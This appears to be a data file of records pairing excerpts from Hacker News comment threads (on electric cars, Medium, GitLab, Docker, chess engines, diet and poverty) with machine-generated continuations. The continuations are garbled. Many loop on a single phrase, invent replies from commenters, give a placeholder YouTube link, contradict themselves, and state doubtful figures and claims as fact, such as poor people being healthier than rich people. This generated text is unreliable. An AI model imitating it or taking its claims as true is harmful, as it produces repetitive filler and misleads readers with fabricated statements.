gait... Soon all\ncompanies use GCCTV. Soon local councils do. Soon dflock can be tracked across\nsystems. Google acquires eyes all over the country. Google starts population-\nscale experiments in secret. Can they predict where you will be? Can they, by\ndint of showing you different adverts, search results, articles with different\nslants _influnece_ where you will be? Which stores you shop in? Who you phone?\nWhich way you vote?\n\n3.1) Voice control hasn't really got much further. Microsoft, Dragon Dictate,\nApple, they're all roughly as good as they were. Google has been quietly\ntraining on youtube videos, GrandCentral phonecalls, GTalk calls, google\nmobile search. Theirs is much better. Any device from your satnav or car\nstereo to your TV or Kindle has Google Voice tie-in. Everyone loves it because\nyou can talk in whole sentences and say things like \"remind me to watch XYZ on\nchannel 123 on Sunday\" and it does. Google offer this for free because now\nthey"} +{"output_text": " demo:\n\n[0]\n[https://www.youtube.com/watch?v=0_0_0_0_0](https://www.youtube.com/watch?v=0_0_0_0_0)\n\n~~~\njameshart\nI'm not sure I understand your point. The demo is a 3D demo, and it's\nimpossible to view it in 2D.\n\n~~~\njameshart\nI", "input_text": " one is fun to watch on a 3D display. (As much of it is black & white,\nanaglyph should also be worth a shot.)\n\nMost of the effects could have plausibly been rasterised or blitted into a\nflat plane; alternatively, all of it could be done in a pixel shader which\njust colours in two triangles that fill the screen. But (as I discovered to my\ndelight one day when I happened to have access to a Windows machine with a 3D\nmonitor) it's all 3D geometry with a perspective projection.\n\nFor example, the wibbly-wobbly cone[0], viewed in 2D, could just as well be a\nflat bunch of sinusoidally gyrating discs all XORed together. But these discs\nare properly stacked along the Z axis.\n\nThe demo doesn't natively support stereo displays, so you have to find a tool\nthat can inject itself into the graphics pipeline and modify the projection\nmatrix for each eye. I don't remember which one I used when I tried that, but\nit had a nifty feature you should seek out: Hotkeys that let you adjust the\nmapping of depth to the stereoscopic shenanigans (separation and convergence)\non the fly. Being able to make such tweaks on a scene-by-scene basis helps a\nlot with a production that was only designed for cyclops mode originally.\n\nThe same technique can be applied to many PC demos, but usually it only\namplifies a 3D effect that was already there in the first place. In the case\nof Intrinsic Gravity, it gives you an extra dimension of'_whoa_ '.\n\nBonus recommendation for those who can't be bothered with any of that and just\nwant to watch a neat"} +{"output_text": " step back.\n\n~~~\nftse\nI'm not sure I understand. You start with the first sentence, then you go back\nand forth between the first sentence and the rest of the essay?\n\n~~~\npg\nYes.\n\n------\njmtame\nI'm not sure if this is a good idea, but I think it's a great idea.\n\n------\njmtame\nI'm not sure if this is a good idea, but I think", "input_text": "k the significance of his choice to remove them. It occurs\nto me a person could do some sort of git style display. Anything that's over 5\nseconds old is revision 1, and if you edit that later, you see the old crossed\nout, and the new highlighted. (this would be a mode that could be turned\non/off as desired, as it could be distracting) Such a mode would allow a\nwindow into the thought processes of the writer, both for the voyeurs, and for\nthe writer himself.\n\n------\nvaksel\nI wouldn't mind seeing ehterpad work in real time...just to see how much time\nit takes him to come up with the stuff/changes\n\n~~~\nrugoso\nagree, if you've got this far, why not show it real time, as an option maybe\n\n------\ncsomar\nThis can give you an idea how essays are written by famous writers!\n\n------\nXichekolas\nSo now I'm curious PG, what's your Ronco number?\n\n~~~\npg\n1\\. Ron has invested in several YC-funded startups.\n\n------\nomarchowdhury\n[web 2.0 derivative mindset]\n\nWe could have a new site just dedicated to PG etherpad submissions!\n\n[/web 2.0 derivative mindset]\n\n------\nftse\nFascinating. However, don't think you are seeing the complete creation of an\nessay from its spark to completion. The first sentence appears (to me at\nleast) considered and calculated. I'm sure much more thought has gone into the\nessay than the animation would suggest.\n\n~~~\npg\nI start when I think of the first sentence. After that, as you can see, it's\ntwo steps forward and one"} +{"output_text": " that you are a\nGitLab employee), I'll be sure to take a look at the settings pages and see\nwhat we can do to improve them.\n\n~~~\nKarunamon\nThanks for the feedback!\n\n------\nsytse\nI'm the GitLab CEO. Happy to answer any questions.\n\n~~~\nsytse\nWe're also hiring:\n[https://about.gitlab.com/jobs/](https://about.gitlab.com", "input_text": " made it so I had to guess where the setting I want is.\n\n* Why are there two nearly identical pages for showing repository contents? (One at the top level of a project, which is any project's landing page, and another on its \"repository\" tab, which is the same view missing a few elements)\n\n* Releases and their artifacts are buried behind \"tags\" (which they technically are in Git parlance, but still) or a very easy to overlook CI status badge on the last commit shown on the landing page. Releases can only be created with API calls or manually through the new tag page, rather than programmatically or as part of a CI job. (Yes, I know, the CI job could technically call the API. You get a cookie. Point is, it feels rather buried.)\n\n* Build artifacts can only be downloaded in a zip bundle, rather than individually\n\n* I haven't figured out how to turn off the \"Do you want to enable Auto DevOps?\" div showing in every single repo.\n\n* Advertising for Google Cloud on the CI Kubernetes page is just plain tacky. I'm sure there's a way to turn this off, but _I shouldn 't have to in the paid Enterprise product_.\n\n~~~\nmatejlatin\nThis is really useful feedback @Karunamon! I see Sarrah already addressed it\nso I just wanted to add my bit: I also think that the approach we used for\ndesigning settings pages isn't optimal and suggested improvements in a\ndiscussion on a related issue:\n\n[https://gitlab.com/gitlab-org/gitlab-\nce/issues/45219](https://gitlab.com/gitlab-org/gitlab-ce/issues/45219)\n\nAfter seeing your feedback (and confirming my assumption"} +{"output_text": "), the Distributor is\nnot the same as the Promotion arm.\n\n~~~\njames_s_tayler\n> _I have no ingrained suppositions that the platform, free of charge, which\n> hosts cheap-ass text in a usable format, and seems to be stable, would\n> actually be bothered or compelled to promote my material. Not one bit of\n> assumption on my part._\n\nI think you're missing the point.\n", "input_text": " it, the inclination is to praise them, to withhold\n> criticism._\n\nBZZZT! Wrong! Maybe for you, but not for me!\n\nI have no ingrained suppositions that the platform, free of charge, which\nhosts cheap-ass text in a usable format, and seems to be stable, would\nactually be bothered or compelled to promote my material. Not one bit of\nassumption on my part. I use it as a writing platform simply because it fits a\nneed, and I didn't have to fork over for a domain and the maintenance that\ngoes along with a self-implemented system. Or, if flow simply refers to it\nworking, yeah, I guess I'm assuming that, but that's like a core competency.\n\nIt almost reminds me of the Mitch Hedberg joke, the one where a chef becomes a\nmaster chef, and then a person asks, \"Well, can you farm?\" as though they\nshould be a master of every aspect. I write. Medium hosts my writing, and I\nlike the way the software works. Good deal for now, if it changes, I'll tear\ndown and move on (like I did with Blend.io when they pivoted in a way I did\nnot want to follow).\n\nIf we're talking ownership, well, that's a \"backup\" issue for each writer. For\nserious, lengthy pieces, I'm working in a software like Word before I'm\nposting online. It's just habit, and I can save locally/backup and Medium is\nthe finished, public product. Simple.\n\nIn my experience - coming from music - the distributor is distinct and\nseparate from the promotions arm. Though they may collaborate (PR working in\nconjuntion with Distributor to announce big release, etc"} +{"output_text": " system is set up to make it impossible for\nsomeone to be fired for their speech.\n\n~~~\ndragonwriter\n> The problem is that the current system is set up to make it impossible for\n> someone to be fired for their speech.\n\nNo, the problem is that the current system is set up to make it impossible for\nsomeone to be fired for their speech _in the context of their employment_ ,\nand that the current system is set up to make it", "input_text": " where you are one of the major public faces of an organization\n(such as its CEO) and are not capable of dealing with the PR resulting from\nthe association of those speech acts with a public face of the corporation\n(the same as it would if you couldn't deal with any other PR issue affecting\nthe corporation, even if it _wasn 't_ resulting from your speech acts.)\n\n~~~\nDrJokepu\nThis is a frequently repeated argument and I find it less and less convincing.\nIt is true that America's constitution only guarantees the congress will not\nabridge the freedom of speech. However, an argument could be made that in a\nfree society there's a fundamental right to have a dissenting opinion or\nvoice; a right that is not codified by the constitution because it's simply\nirrelevant to a constitution. It seems to me that it's up to all of us to\ntolerate non-extreme dissenting voices, even if we disagree with them.\n\n~~~\ndragonwriter\n> However, an argument could be made that in a free society there's a\n> fundamental right to have a dissenting opinion or voice\n\nOf course, there is a fundamental right to have (and express) a dissenting\nopinion or voice.\n\nThere is also a fundamental right to have (and express) _displeasure_ with an\nopinion or voice, whether dissenting or not.\n\nAnd there is no fundamental entitlement to a job whose responsibilities\ninclude managing the public image of a corporation, and if you are unable to\ndo that in the real circumstances and public image problems the corporation\nfaces, _whether or not_ your own speech acts are the _source_ of that PR\nproblem, you shouldn't expect to continue to have that job.\n\n~~~\nElComradio\nThe problem is that the current"} +{"output_text": " a position to scale up. They are still\nstruggling to get their manufacturing costs down.\n\n~~~\ndingo_bat\nI don't think they are struggling to get their manufacturing costs down. They\nare struggling to get their manufacturing costs down because they are\nstruggling to get their manufacturing costs down.\n\n~~~\nbildung\nI don't think you understand the situation. Tesla is not a car manufacturer.\nThey are a car manufacturer with a very", "input_text": "8czW.png)\n\n~~~\ndingo_bat\nWhy are people not hyped about the bolt as much as they are about 3? It looks\nlike a comparable car which is available now, instead of in 2019.\n\n~~~\njustin66\nIt's a GM, so it looks like it was made to appear in a Transformers movie and\npeople trust a largely unproven manufacturer like Tesla to make something more\nreliable.\n\n------\ndingo_bat\nMercedes and BMW and Volkswagen are going to be dead (or faint shadows of\ntheir current state) within this decade (2027). Exactly what has happened to\nNokia, Siemens and Ericsson is going to repeat itself. I would wager smaller\nplayers like Hyundai will adapt and hang on, maybe even innovate at a later\ndate. Tough to predict Toyota and Honda though. The Japanese are clever in\ntheir ways.\n\nSay what you want but American entrepreneurs do have an unbelievable appetite\nfor disruption.\n\n~~~\neknkc\nBMW has i3 (pure electric) and i8 (plug in hybrid). I drive a i3 daily and I'd\nsay they have done a good job. It looks ugly but range is acceptable,\nperformance is better than other options (Tesla is not here in my country) and\nthe quality seems to be good overall.\n\nI believe they'll adapt just fine.\n\n~~~\ndingo_bat\nThe difference is Tesla has a plan to scale up. How is BMW going to acquire\nall the batteries needed if they want to start selling 10x the number of i3s?\nThey may adapt, but will surely lose their comfortable position in the market.\n\n~~~\nbildung\nI very much doubt that Tesla is in"} +{"output_text": " don't worry, you'll get it done tomorrow, or the day\nafter, or the day after that, etc...\n\n6- Don't be afraid to ask for help, if you're stuck, ask for help, if you're\nnot sure, ask for help, if you're not sure, ask for help, if you're not sure,\nask for help, if you're not sure, ask for help, if you're not sure, ask for\nhelp,", "input_text": " issues, and I think you speak out for lots of people,\nmotivation is a very limited resource and when it's not used properly, you end\nup in this state.\n\nWhat worked for me best is to tackle your tasks with the notion that you have\nlimited resources in mind and that you're just human.\n\nSome tips that you might find useful, that certainly work very well for me:\n\n1- Declutter your workspace, clean your whole house, having small things here\nand there lying around affects my thought process.\n\n2- Declutter your brain, Throw away ideas that might be nice, but are not\npossible to work on right now cause they'll take tons of time and money, write\nthose ideas down somewhere for later use, if ever.\n\n3- Declutter your life, make sure you don't have lingering problems that can\nbe fixed now, your brain will fatigue out when you have a lot in your stack,\nfix that leaking toilet, talk to your spouse about the issue you've been\nalways having with them, tell your friend you can't help them with that thing\nthey needed, empty out as much as you can, and work on the low hanging fruits\nfirst.\n\n4- When it comes to tasks, spend as much time as you can afford planning it\nahead first, break things down into small actionable tasks that will take a\nfew minutes or hours to resolve, avoid homogeneous tasks like \"Implement\nbackend\", \"Fix the known bugs\", \"Release next version\", etc... instead, have\nvery concrete minimal tasks like \"Fix bug #21\", \"Create Users profile database\nschema\", \"Convert header image to SVG\", etc...\n\n5- Timebox things when planning, say you'll spend only 1 hour today working on\nthis issue, if you can't,"} +{"output_text": " people.\n\n~~~\njbooth\nI don't know if poor people 100 years ago had the same problem, but I do know\nthat poor people today are _healthier_ than rich people.\n\n~~~\nmhartl\nI'm not sure what you mean by \"healthier\".\n\n~~~\njbooth\nI mean that poor people today are less likely to be obese, less likely to have\ndiabetes, less likely to have heart disease, less", "input_text": " to eat healthily in poor neighborhoods, it takes a _lot_ of\nwork - a lot more work than it does for a wealthy person living in a wealthy\nplace. I've observed this in myself: I gained _enormous_ amounts of weight\nwhile living in a poor, working-class neighborhood, and promptly shed it once\nI moved to a wealthy upper middle-class neighborhood. I've bounced back and\nforth between poor areas and rich areas since then, and the pattern has so far\nheld up.\n\nBut, anecdotes not equivalent to data, etc etc.\n\nIn a upper-middle class neighborhood healthy diets practically come after you\nwith a baseball bat. It's steeped in the general consciousness of the area,\nsupport by people who possess the freedom of finance, time, and effort to\nthink about such things, and it's supported by the merchants in the area.\n\nThe same is not true in poor neighborhoods, where fast is king to a population\nof overworked and tired people. When you're holding down multiple jobs and\nraising kids at the same time, the CSA subscription may be cheaper and\nhealthier, but it also requires time you don't have. Merchant offerings in the\narea reflect this reality, and so even someone with the intent to eat\nhealthily will find that availability of healthy food is substantially lower.\n\nWe are fortunate in that we have the resources with which to abstract _many_\nannoying details away from our lives so we can concentrate on the important\nthings: good bodily health, mental well-being, and the such. Most of the\npopulation isn't so lucky.\n\n~~~\nmhartl\nDid poor people 100 years ago have the same problem? I doubt it. But today,\npoor people in America are _fatter_ than rich"} +{"output_text": " be a good idea to have a job board. I\u2019d simply add a\nsection to the site where people can post their resumes and other job\nadvertisements._\n\nI'm not sure I agree with this. I think that job boards are a bad idea,\nbecause they're a bad idea for programmers. I think that programmers are\nbetter off finding jobs on their own, and that job boards are a bad idea for\njob seekers.\n\n~~~\npkrum", "input_text": " than it would with MongoDB.\n\n~~~\nXylakant\nabsolutely. I know some projects that implemented a mobile app with\noffline/sync capability using the couch/pouch combination. I haven't\nparticipated personally but from what the colleagues tell me it's working\npretty well. (for all values of well that you can have when it comes to\noffline/sync. it's a tough problem.)\n\n~~~\nHodGreeley\nYou can take a look at Couchbase Mobile for native client offline+sync\ncapabilities, too. PouchDB integrates with Couchbase Sync Gateway, so the\ncombo is versatile.\n\n \n\nIdeas for the new catonmat.net website - pkrumins\nhttp://www.catonmat.net/blog/50-ideas-for-the-new-catonmat-website/\n\n======\nmichael_dorfman\nSome of these ideas are pretty good, but some are not. To take a couple\nexamples:\n\n _Here is a concrete example: Someone links to www.catonmat.net/artikle when\nthey wanted to link to www.catonmat/article. I\u2019d simply insert an entry to 301\nredirect /artikle to /article and everyone\u2019s happy._\n\nEveryone's happy? I think not. What you've just done is taken on the the onus\nfor fixing other people's mistakes. In the long run, that's not sustainable--\nit's more work for you, and only encourages sloppiness on their part. It's not\na road I'd like to go down, I'll tell you that.\n\n _47\\. Add A Job Board. As my site is getting more popular and popular among\nprogrammers, it may"} +{"output_text": "> _There 's a lot of EV's comparable to the Model 3 in both price and range._\n\nI'm not sure that's true.\n\nThe Model 3 is $35k, and has a range of over 300 miles.\n\nThe Leaf is $32k, and has a range of about 100 miles.\n\nThe Kia Soul is $30k, and has a range of about 100 miles.\n\nThe Ioniq is $30k, and", "input_text": "forms the C-Class on driving performance if the reviews are to be\nbelieved. The bling-bling leather, chrome and wood of the German high-end cars\nis more luxurious, but is not for everyone.\n\nLet's see. My guess is as good as yours but I think the Germans will bleed if\nthey don't transition to EVs very fast. If Tesla has the market for itself in\nall of 2018-2020, it might be too late for VW, BMW and Mercedes-Benz.\n\nRight now, they have plans and talk, but not a single competitive EV on the\nmarket, no fleet of hundreds of thousands of self driving cars recording and\nlearning, no network of superchargers, no thousands of talented EV and AI\nengineers, no remote update, no battery factories.\n\nI sure hope they wake up. Competition will only be good for us consumers.\n\n~~~\nbgarbiak\nThere are many other cars that could be compared to Model 3. Mazdas, VWs,\nHyundais, Hondas. If we take only size, price, performance and interior\nquality into consideration then Model 3 is certainly not the best choice. But\nit's an EV. And others are not.\n\n~~~\nThlom\nThere's a lot of EV's comparable to the Model 3 in both price and range.\nThere's a lot of EV's comparable to the Model 3 in range and price. VW e-golf\ncosts about the same (or less) with comparable range and size. Hyundai IONIQ\nis cheaper with about the same range and size. Then you have the ugly EV's\nlike Nissan Leaf and Kia Soul. Cheaper and with comparable range and size\n(perhaps a bit smaller trunk).\n\n~~~\ngrecy\n"} +{"output_text": ", but I don't know if it's worth it for\nus. We have a lot of developers, and we have a lot of projects, and we have\nbeen using Docker for a while now. We have a lot of projects that are\ncurrently running on Heroku, and we have a lot of projects that are currently\nrunning on Deis.\n\nI don't know if we would be able to use Docker for all of our projects, but I\ndo know that we", "input_text": " Dockercon on introducing Docker to Demonware\nfor CI across a variety of projects. I don't think the video is up yet, but\nit's well worth a watch if you're thinking of bringing it into your company.\nIn the meantime we wrote a blog post on his talk:\n[http://blog.codeship.com/dockercon-2015-using-docker-to-\ndriv...](http://blog.codeship.com/dockercon-2015-using-docker-to-drive-\ncultural-change-in-gaming/).\n\n~~~\nbampolampy\nWe are just starting a beta for our new CI flow which follows the container\nparadigm very closely. It allows you to build docker compose stacks for your\nvarious application images, and run your CI/CD pipeline locally, exactly as it\nwould get run on our hosted platform.\n\nIf anyone is interested in joining our beta, just drop me an email: brendan at\ncodeship.com.\n\n------\nyebyen\nI honestly don't know how much those things cost (I have heard some people say\nAWS is not cheap, but compared to buying your own hardware maybe all of this\nstuff is very cheap). The point of asking is, my company has not found a clear\nplace to use Docker directly, but we do use it indirectly through the Deis\nproject, and CoreOS.\n\nMy experience with Deis has been wonderful. If you ever looked at Heroku but\ngot to the pricing page and didn't look any further, Deis has the same\nworkflow (and much of the same stack, Cedar) as Heroku. The whole thing is\nbuilt on docker containers, and designed with failover in mind.\n\nI see that Codeship costs a fair amount"} +{"output_text": " say that the US is \"at war\" with the Taliban?\n\n~~~\njlgreco\nI think it is fair to say that the US is at war with the Taliban.\n\nThe Taliban is a group of people who have declared war on the US.\n\nThe US is at war with the Taliban.\n\n~~~\nuntog\nI'm not sure I agree with that. The Taliban are a group of people who have\ndeclared war on the US.", "input_text": " concludes that the authority claimed by the government to\ndetain those who were \"part of... Taliban or al Qaida forces\" is consistent\nwith the law of war\n\n>the government has the authority to detain members of \"associated forces\" as\nlong as those forces would be considered co-belligerents under the law of war\n\nBut note that _Hamlily_ applies to detention and not execution. And in this\nexecution whitepaper, it clearly states that the definition of associated\nforces \" _includes_ a group that would qualify as a co-belligerent under the\nlaws of war\". The phrase _includes_ leaves a lot of room for the term\n\"associated forces\" to apply to other things.\n\nBut anyway, IANAL.\n\nLink to Hamlily v. Obama (PDF):\n[http://scholar.google.ca/scholar_case?case=15512898181635760...](http://scholar.google.ca/scholar_case?case=15512898181635760339&hl=en&as_sdt=2&as_vis=1&oi=scholarr&sa=X&ei=MpUQUaXcF82ayQGAyoGYDw&ved=0CC4QgAMoADAA)\n\nLink to AUMF (PDF): [http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Author...](http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Authorization-for-Use-of-Military-Force-2001.pdf)\n\n------\nmatmann2001\nUnfortunate automatic URL generation.\n\n------\nuntog\nIs it really that fair to"} +{"output_text": " because you know them, or do you like gay\npeople because you like them?) but the fact is that it's a pretty strong\ncorrelation.\n\nI think the same thing is true for interracial relationships. I know a lot of\npeople who are very racist, and I know a lot of people who are very\ninterracial. The people who are racist are the ones who have never met an\ninterracial couple, and the people who are interracial are", "input_text": ").\n\n~~~\ntrezor\nIt has gotten better recently, but it is lagging quite a lot compared to plain\nChrome.\n\nText rendering used to be horrible but it has gotten better. But if I can't\neven configure proxy settings without hacky gconf editing, that tells you that\nyou are definitely using a browser in catch-up mode.\n\n------\ntybris\nI thought we were past the short-sighted Microsoft is evil childishness. In\ngeneral, if you think a large group of people is evil or stupid (especially if\nthese people are known to be very, very smart), you are wrong and should be\nwondering why.\n\nIf a company is growing its business is to be on the offense, challenging the\ncompetitors products. When it becomes too big to adapt to the changing needs\nof the customer quickly it needs to go on defense to protect its business. Has\nnothing to do with stupid or evil, just business.\n\n~~~\nrdrimmie\nThe post isn't about evilness (and in fact Dash has frequently defended\nMicrosoft, as he states). The post is about a corporate entity growing past\nthe point where the internal concept of'self' that its staff has differs\nlargely from the external concept of its identity that the public has.\n\n \n\nInterracial Roommates Can Reduce Prejudice - tokenadult\nhttp://www.nytimes.com/2009/07/08/us/08roommate.html\n\n======\nseldo\nThis isn't too surprising to me. In the world of gay rights, it's well-known\nthat the biggest predictor of having positive attitudes to gay people is\nknowing at least one gay person. People debate about whether this is cause or\neffect (do you like gay people"} +{"output_text": " use to see things\nthat you couldn\u2019t see before.\"\n\n[http://www.chess.com/news/view/usain-bolt-on-the-\nchessboard](http://www.chess.com/news/view/usain-bolt-on-the-chessboard)\n\n~~~\ntoolslive\nI think the article is a good example of the \"I don't know about computers\"\nmentality.\n\n", "input_text": " hours of computer analysis, and many top-level games these\ndays, especially the infamous ~20-move \"grandmaster draws\" are little more\nthan one grandmaster's home-prepped computer engine analysis being pitted\nagainst the other. In other words, many \"human\" games are effectively a game\nbetween two computers :)\n\n~~~\npk2200\nChess opening theory is the result of ~150 years of mostly human effort.\nGrandmasters do use computers to assist with opening preparation, but it's\ncertainly not the case that computers have completely rewritten the opening\nbooks. In fact, I can't think of a single example of a computer significantly\naltering the evaluation of a major opening system. They do make small\nimprovements, but almost all of the major openings that were popular 30 years\nago are still popular today.\n\n------\ntoolslive\nDoes Usain Bolt feel bad about himself, because a Ferrari is faster on the\n100m flat? Should he stop competing because of it? Does a weightlifter feel\nbad because a fork lift exists? Does this kill weightlifting as a competition?\nSo why would this be the case for Chess?\n\nAnyway, is it just me or does the article feel like having been written by\nsomeone who doesn't know about computer chess?\n\n~~~\ntbrake\nViswanathan Anand himself had a quote which reflects this mentality and is a\ngood way of looking at it :\n\n\"[...] but since most of chess is tactically based they do many things better\nthan humans. And this imbalance remains. I no longer have any issues. It\u2019s bit\nlike asking an astronomer, does he mind that a telescope does all the work. He\nis used to it. It is just an incredible tool that you can"} +{"output_text": " blogs moved to Medium?\"\n[https://news.ycombinator.com/item?id=12010598](https://news.ycombinator.com/item?id=12010598)\n\n------\njoshstrange\nI'm not sure I agree with the premise of this article. I think the author is\nmissing the point of Medium. It's not about writing a blog post, it's about\nwriting a blog.\n\n------\n", "input_text": " blogging that _writing a blog post_ is separate from the work of\nmaking the blog itself look beautiful, and that should focus on the former and\nwe can then work on the latter.\n\nMedium gives the latter without much work, and for aspiring writers, that's\nthe incentive to finally try blogging out and feel like they've done something\nsubstantial. If it gets more people into the mindset of being creators instead\nof passive web consumers, I think Medium has been a good thing overall.\n\n------\nredthrowaway\nSo, Medium is big. That's pretty much all I took from that. He lists no\nproblems with it, except maybe they might one day be the sort of company to do\nsomething you don't like.\n\nThis isn't a criticism. It isn't even a rant. It's not focussed enough to be\neither. It's somebody worrying about writing on the Internet being largely\ncontrolled by a single company. Which, of course, it isn't. Never was and\nnever will be.\n\n------\nblt\n_> Medium is on its way to becoming the consensus platform for writing on the\nweb_\n\nJesus, I hope not. I have better ways to burn my phone battery. The Medium\nversion of this post contains 388kb of javascript and 312kb of CSS. Medium's\nengineering is terrible.\n\n------\nkrallja\nMedium broke the \"Signal v. Noise\" RSS feed by truncating articles. I\ncomplained to Basecamp; they blamed Medium. I complained to Medium; they said\nthey might consider fixing it.\n\nRun your own blog on your own website. Then you don't have to depend on\nsomeone else to fix your bugs.\n\n------\nminimaxir\nRelevant discussion: \"Why have most tech and startup"} +{"output_text": ", and you can find them by doing a google search\nfor their name.\n\n------\njoshwa\nI'd recommend talking to a few people in the industry, and asking them what\nthey think.\n\n------\njoshwa\nI'd recommend talking to a few people in the industry, and asking them what\nthey think.\n\n------\njoshwa\nI'd recommend talking to a few people in the industry, and asking them what\nthey think.", "input_text": "\nRivalMap (previously Competitious) is an excellent tool that helps us organize\nand discuss market analysis in our startup. There is a free edition for 3\nusers and I think they are adding news soon too.\n\n------\nprakash\nTo get accurate answers and hard data, it's best to talk to someone on the\ninside i.e. who has spent some time in that industry.\n\nA couple of good starting points: \\- www.webhostingtalk.com \\-\nwww.streamingmedia.com\n\n------\nmynameishere\n_data transfer rates, processor usage, hardware acceleration_\n\n(Market Analysis?) Since you don't seem to have the vocabulary down, I\nrecommend starting with the basics:\n\n[http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt...](http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt/market_analysis.html)\n\n------\nOpenWebU\nalso, i'd like to comment is that you are doing'market analysis' third-hand\n-- the products that companies offer are a combination of their opinion of\nwhat the markets need, and their own response to customers.\n\nIMHO, true market analysis is going to the real end-customer (the customers of\nthe hosting vendor). If it is obvious what the very they need and what they\nare willing to pay for, then no need to do this. But let's say as an example,\nthe true end-customers are large IT departments. I'd look around and find\nsomeone in that IT department to interview and find them across industries,\nand see what they are willing to buy. Often these customers are listed as\nreferences on their website"} +{"output_text": "command that has a subshell.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ntyingq\nIt's a fun little shell script.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ntyingq\nIt's a fun little shell script.\n\n------\njwilk\nI'm not sure why this is on the front page.\n", "input_text": ".\n\n------\ndevnonymous\nSo also are /usr/bin/{cd,[,echo,pwd,fg,..etc} a lot of them having subtle\ndifferences with their corresponding shell builtins. Most of the time the\ndifferences are not worth the hassle to remember, unless you somehow end up on\na system with a broken filesystem (for example where /lib or /usr/lib is\ndestroyed) and need to rescue stuff.\n\n------\ncmurf\nOn Fedora Linux, '/usr/bin/time -v ' rather than -l.\n\n------\nsaagarjha\nSo it's just like /usr/bin/cd\u2013a builtin that also has a binary.\n\n~~~\ntyingq\nHow would that work? A forked/execed subprocess somehow forcing chdir() in\nit's parent?\n\nGuessing it isn't terribly useful.\n\n~~~\nzwp\nI too don't see how it is useful but it's certainly a thing. The Solaris\nimplementation looks like this:\n\n \n \n #!/bin/ksh -p\n #...\n cmd=`basename $0`\n $cmd \"$@\"\n \n\nI just noticed that the what(1)-string (I haven't seen on of those for a long\ntime) references \"alias.sh\", perhaps this is a clue?\n\n \n \n #ident \"@(#)alias.sh 1.2 00/02/15 SMI\"\n \n\nWere builtins actually aliases in an early shell? I still don't understand how\nthis works though.\n\n~~~\ntyingq\nThat's a funny implementation. It would end up being an infinite loop for any\n"} +{"output_text": " to be handwritten on paper.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n* The old-school \"paper\" phone book.\n\n", "input_text": "very very light on content, yes we should be looking to make wonderfully\nusable applications for non technical users, I dont think anyone aims to make\nan unusable site.\n\nBut how can we do it, what have we been getting wrong so far, what design\nidioms need to be thrown out and what innovative ui's help users? thats what I\nwant to hear.\n\n~~~\nsthomps\nVery good point, I will try to put that into another blog post in the near\nfuture. I know that there is a book that goes along with this, \"The Inmates\nAre Running The Asylum\" as well.\n\n~~~\nidlewords\nDude, with all due respect, you're 18, your product is in triple-closed alpha,\nand your writing is entirely aspirational.\n\nLess talk, more rock. Go out and do something, and then blog about it once\nyou've learned something interesting. If you want to psych yourself up with\nself-help stuff, keep a private diary.\n\n~~~\nsthomps\nYou are entirely correct. None of the content I am writing can hold true\nmeaning until I have made it. All of the writing at this point is purely my\nopinions on what I observe and the process that I am going through.\n\n------\njasonlbaptiste\nAnother thought: find products that exist in physical form, but can be\nreplaced by something that is much more high-res / efficient with technology.\nWhat physical things won't exist in 5-10 years time because technology can\nreplace them. Mainstream users usually adopt products that do this. Examples:\n\n* Campuses used to hand out \"facebooks\" to freshman so they could get to know their fellow students + have a directory.\n\n* Spreadsheets used"} +{"output_text": "\nI am not sure if this is a good thing or not. I think it is a good thing that\nthe government is cracking down on money laundering. But I am not sure if this\nis a good thing for the average person.\n\n~~~\njedberg\nI think it's a good thing for the average person because it's a good thing for\nthe average person.\n\nIf you're a drug dealer, you're going to be a lot more careful about where", "input_text": " I use a VPN I have to prove to google I'm not a robot...\nbut using a shell company to buy up real estate? Definitely no picking out all\nof the buses in a bunch of pictures.\n\n~~~\ndehrmann\nDisney used shell companies to buy up land for Disney World in the 60's. They\ndid it so buyers couldn't find out it was Disney and demand more money.\n\n[https://www.latimes.com/business/la-fi-disney-shell-\ncompanie...](https://www.latimes.com/business/la-fi-disney-shell-\ncompanies-20160408-story.html)\n\n------\nH8crilA\nUS net international investment position is at -$11T:\n[https://fred.stlouisfed.org/series/IIPUSNETIQ](https://fred.stlouisfed.org/series/IIPUSNETIQ)\n\nThat's ~50% of GDP.\n\nWorrying about a few homes here and there is quite pointless against this\nbackdrop.\n\n------\nnickthemagicman\nIt reminds me of Moldova after the fall of the Soviet Union: oligarchs running\nwild, stashing their gains in buildings,\u201d James Wright, an attorney and former\nTreasury Department bank examiner, told me. He now helps foreign governments\ncombat money laundering. \u201cBack then, you\u2019d walk down the street, and people\nwould say, \u2018That building is a washing machine.\u2019 Everyone knew it. Today,\nAmerica is not that different.\u201d\n\nAre we that different from the Soviet Union?\n\n~~~\nxenospn\nLess sarcastic, but overall not that different.\n\n------\nycombonator"} +{"output_text": " in the background -- are in San Francisco.\n\n~~~\njrockway\nThe Ferry Building is in San Francisco.\n\n~~~\nnovum\nI stand corrected.\n\n------\njrockway\nI'm not sure what the point of this is. It's a video of a streetcar in San\nFrancisco, and it's not even a good video.\n\n~~~\njrockway\nI guess I should have said \"it's a video of a", "input_text": "point with it so early. Thanks for the link, BTW!\n\n------\njordanb\nThe blog says the street seems wider in the 1908 film. I think that's a\ncombination of a lack of street trees and curbs, and shorter buildings in the\nbackground.\n\nI wonder why the car doesn't stop for passengers. You can see several waiting.\nOne even waves at the driver. My thought is that either the car was stopping\nand the video was edited, or it was a special run for the benefit of the\ncamera.\n\nA few more observations:\n\n* While there are many fewer pedestrians in the 2005 video, there are more bicycles. And the bicycles actually have adults on them (not sure about the guy in the cape though).\n\n* The streetcar seems to move much faster in 2005, covering considerably more ground in less time.\n\n* While 2005 looks much more orderly, automobiles are still erratically darting out in front of the streetcar. Some things don't change I guess..\n\n------\nmattmaroon\nThat can't be San Francisco, the cameraman never once gets assaulted by\noverly-aggressive homeless people.\n\n------\njaybol\nWow and it is a music video for Air...double bonus! There is an incredibly\ncool map store in San Francisco, and as you would expect, the proprietor is\nvery friendly. It is called Schein and Schein\n( the website doesn't do it justice) and they\nhave some beautiful old maps and photobooks, with a large portion of the\ncollection devoted to SF and California history.\n\n------\nnovum\nNone of the buildings in this video -- save the Ferry Building whose tower you\ncan see"} +{"output_text": " and I think that's a mistake.\n\nThe 